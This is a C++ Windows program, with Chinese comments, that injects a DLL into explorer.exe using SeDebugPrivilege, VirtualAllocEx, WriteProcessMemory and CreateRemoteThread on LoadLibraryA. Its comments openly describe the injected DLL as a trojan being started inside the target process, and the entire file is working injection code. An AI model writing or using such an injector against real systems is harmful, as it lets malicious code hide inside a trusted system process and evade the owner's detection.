// ExcuteDllTest.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include <tlhelp32.h>

int EnableDebugPriv(const char * name)
{
	HANDLE hToken;
	TOKEN_PRIVILEGES tp;
	LUID luid;
	//打開進(jìn)程令牌環(huán)
	if(!OpenProcessToken(GetCurrentProcess(),
					TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
					&hToken) )
	{
		printf("OpenProcessToken error.\n");
		return 1;
	}
	//獲得進(jìn)程本地唯一ID
	if(!LookupPrivilegeValue(NULL,name,&luid) )
	{
		printf("LookupPrivilege error!\n");
	}

	tp.PrivilegeCount = 1;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	tp.Privileges[0].Luid = luid;
	//調(diào)整權(quán)限
	if(!AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL) )
	{
		printf("AdjustTokenPrivileges error!\n");
		return 1;
	}

	return 0;
}

BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
{
	HANDLE hRemoteProcess;

	if(EnableDebugPriv(SE_DEBUG_NAME))
	{
		printf("add privilege error");
		return FALSE;
	}

	//打開遠(yuǎn)程線程
	if( (hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允許遠(yuǎn)程創(chuàng)建線程
							PROCESS_VM_OPERATION | //允許遠(yuǎn)程VM操作
							PROCESS_VM_WRITE,//允許遠(yuǎn)程VM寫
							FALSE, dwRemoteProcessId ) )== NULL )
	{
		printf("OpenProcess error!\n");
		return FALSE;
	}

	char *pszLibFileRemote;
	//使用VirtualAllocEx函數(shù)在遠(yuǎn)程進(jìn)程的內(nèi)存地址空間分配DLL文件名緩沖區(qū)
	pszLibFileRemote = (char *) VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath)+1, 
							MEM_COMMIT, PAGE_READWRITE);
	if(pszLibFileRemote == NULL)
	{
		printf("VirtualAllocEx error!\n");
		return FALSE;
	}

	//使用WriteProcessMemory函數(shù)將DLL的路徑名復(fù)制到遠(yuǎn)程進(jìn)程的內(nèi)存空間
	if( WriteProcessMemory(hRemoteProcess,
				pszLibFileRemote, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL) == 0)
	{
		printf("WriteProcessMemory error!\n");
		return FALSE;
	}

	//計(jì)算LoadLibraryA的入口地址
	PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
			GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");

	if(pfnStartAddr == NULL)
	{
		printf("GetProcAddress error!\n");
		return FALSE;
	}

	//建立遠(yuǎn)程線程時(shí)的地址pfnStartAddr（實(shí)際上就是LoadLibraryA的入口地址）
	//和傳遞的參數(shù)pszLibFileRemote（實(shí)際上是我們復(fù)制過去的木馬DLL的全路徑文件名）在遠(yuǎn)程進(jìn)程內(nèi)啟動(dòng)我們的木馬DLL：
	//啟動(dòng)遠(yuǎn)程線程LoadLibraryA，通過遠(yuǎn)程線程調(diào)用用戶的DLL文件
	HANDLE hRemoteThread;
	if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, 
				pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL)
	{
		printf("CreateRemoteThread error!\n");
		return FALSE;
	}

	return TRUE;
}


unsigned long getprocid(char *pn)
{
    BOOL b;
    HANDLE hnd;
    PROCESSENTRY32 pe;

    hnd=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

    pe.dwSize=sizeof(pe);
    b=Process32First(hnd,&pe);
    while(b)
    {
        if(strcmp(pn,pe.szExeFile)==0)return pe.th32ProcessID;
        b=Process32Next(hnd,&pe);
    }

    return 0;
}


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
	DWORD procid;
    procid=getprocid("explorer.exe");/*得到進(jìn)程PID*/
	if(procid==0) 
		return 1;

 	if( InjectDll("c:\\DllTest.dll",procid) )
	{
		printf("Inject OK!\n");
	}
	else
	{
		printf("Inject Fail!\n");
	}
	return 0;
}